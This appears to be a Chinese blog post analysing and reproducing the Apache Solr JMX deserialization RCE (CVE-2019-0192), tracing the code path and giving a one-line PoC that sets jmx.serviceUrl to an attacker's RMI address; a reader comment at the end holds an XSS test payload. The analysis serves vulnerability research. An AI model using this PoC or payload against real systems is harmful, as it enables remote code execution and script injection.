Apache Solr RCE(CVE-2019-0192)分析复现

概述

挖src碰到了一个solr的环境,然后看到国外有人提交了一个关于solr rce的漏洞。

漏洞链接(https://issues.apache.org/jira/browse/SOLR-13301)

看描述是因为JMX造成的反序列化漏洞。因此分析复现一遍。

POC

URL:http://localhost/solr/[corename]/config"

PostBody:
{"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://IP:PORT/obj}}

分析

我本地环境为jdk7u21+solr5.3.0

搭建环境具体过程就不说了,就是ant编译源码然后IDEA挂载跑起来就行。

因为solr有一个类webapp的东西,所以首先查看入口点也就是web.xml

如图所示:

image-20190329140659550

有一个全局的filter,跟进这个filter看一下内容:

image-20190329140756858

Filter函数关键的地方在这里,跟进这个call函数查看一下内容:

image-20190329140936312

这里调用了一个init函数,也就是初始化的操作,跟进这个函数看一下对路由的处理:

image-20190329141922397

相应的代码点功能我都写了注释。这段代码主要是判断路由的情况。而下面这段代码很关键的地方在于设置了action为PROCESS。然后return

image-20190329142037927

至此,初始化的操作完毕,我们也知道了是如何解析URL的,并且将action设为了PROCESS,然后回到call函数,继续看,发现对action有个switch操作,如图所示:

image-20190329142312543

这里我们进入case PROCESS这个分支,核心操作在execute(solrRsp),跟入查看:

image-20190329152907057

这里又继续调用了一个execute函数,跟进查看:

image-20190329153107619

这里调用了关键函数,handleRequest,跟进这个函数查看:

image-20190329153239438

关键点在handleRequestBody函数,有很多类重写了这个函数,我们跟到SolrConfigHandler这个类中去:

image-20190329154128131

当请求方法为POST的时候,调用command.handlePOST(),跟进该函数:

image-20190329155053525

函数第一行的功能是解析POSTbody,将JSON解析为List,因此ops和opsCopy存放的是我们传入的数据。而 overlay是从原来的配置文件中取出的数据,也就是corename/conf/configoverlay.json。如果没有的话,这里是空。

然后将这两个变量带入到了handleCommands函数中继续处理,跟进:

image-20190329155609236

这里根据传入的name来判断进入哪个分支,常量对应表为image-20190329155711705

我们需要进入SET_PROPERTY分支,该分支调用了一个applySetProp函数,跟进:

image-20190329163506419

这里将name和val单独取出来。带入到该函数末尾的

image-20190329163542362

跟进该函数:

image-20190329163705505

其实就是一个组装键值的过程,然后最后将组装好的jsonObj带入到ConfigOverlay构造函数中:

image-20190329163819638

注意这个props和data此时已经包含了发送的payload。

然后依次返回到handleCommands函数中case分支完成。然后到handleCommands最后的的代码:

image-20190329164040841

首先看到persistConfLocally这个函数,传递了三个参数进去,第一个是resourceloader,第二个是一个字符串常量,值为:

image-20190329164216849

第三个比较重要,是overlay.toByteArray,而这个overlay是上文中return回来的ConfigOverlay对象,那么看一下这个类的toByteArray函数实现:

image-20190329164327634

就是一个值转Json的操作,这里是data,而这个data上文说过,包含了我们的payload。

参数都搞清楚了,那么然后回到persistConfLocally函数,看一下操作:

image-20190329164455455

这个函数功能很简单,就是将包含payload的json数据写入到我们的configoverlay.json文件中。

OK,调用完persistConfLocally之后,又调用了一个reload函数,看一下:

image-20190329165254451

注意红框处的函数,是真正的漏洞触发点。调用了一个getConfig函数,跟进:

image-20190329165409074

这里调用createSolrConfig创建SolrConfig对象,跟进:

image-20190329165448172

继续跟进:

image-20190329165513799

这里new了一个SolrConfig对象,name是一个字符串,值为solrconfig.xml

SolrConfig类的构造函数很长,关键点在

image-20190329165737894

这里设置了jmxconfig的值,首先调用了getNode函数查看solrConfig.xml中是否有jmx节点,如果有(这里是有的)就调用get函数将configoverlay.json中对应的数据取出来,这里有一个get("jmx/@serviceUrl")的操作,其实就是将上文写入configoverlay.json中的远程serviceUrl取出来。另外这jmxconfig是一个JmxConfiguration对象,看一下构造函数:

image-20190329170112483

我们的serviceUrl是第三个参数,被设置为了成员变量serviceUrl的值。

然后继续层层返回,返回到reload函数中:

image-20190329170225196

reload函数中也调用了一个reload函数,这函数中存在真正的触发点,跟入查看:

image-20190329170347472

这里new了一个SolrCore对象,注意第三个参数,coreConfig.getSolrConfig()这个函数其实是返回的上文new的SolrConfig对象,然后跟进SolrCore类的构造函数,该构造函数中有这样一段代码:

image-20190329170522931

跟入initInfoRegistry函数:

image-20190329170554578

这里进入到if分支,该分支里new了一个JmxMonitoredMap对象,注意传入的第三个参数,是config.jmxConfig。也就是SolrConfig的jmxConfig成员,这个成员上文有强调。jmxConfig成员是一个JmxConfiguration对象,它的成员serviceUrl是可控的,包含的是我们的payload。

然后进入JmxMonitoredMap对象的构造函数:

image-20190329170829475

这一段调用JMX,传入可控的serviceUrl,导致反序列化RCE。

后记

https://github.com/mpgn/CVE-2019-0192

Comments
Write a Comment
  • 顾青寒 reply

    <img/src/onerror=alert('你刀掉了')>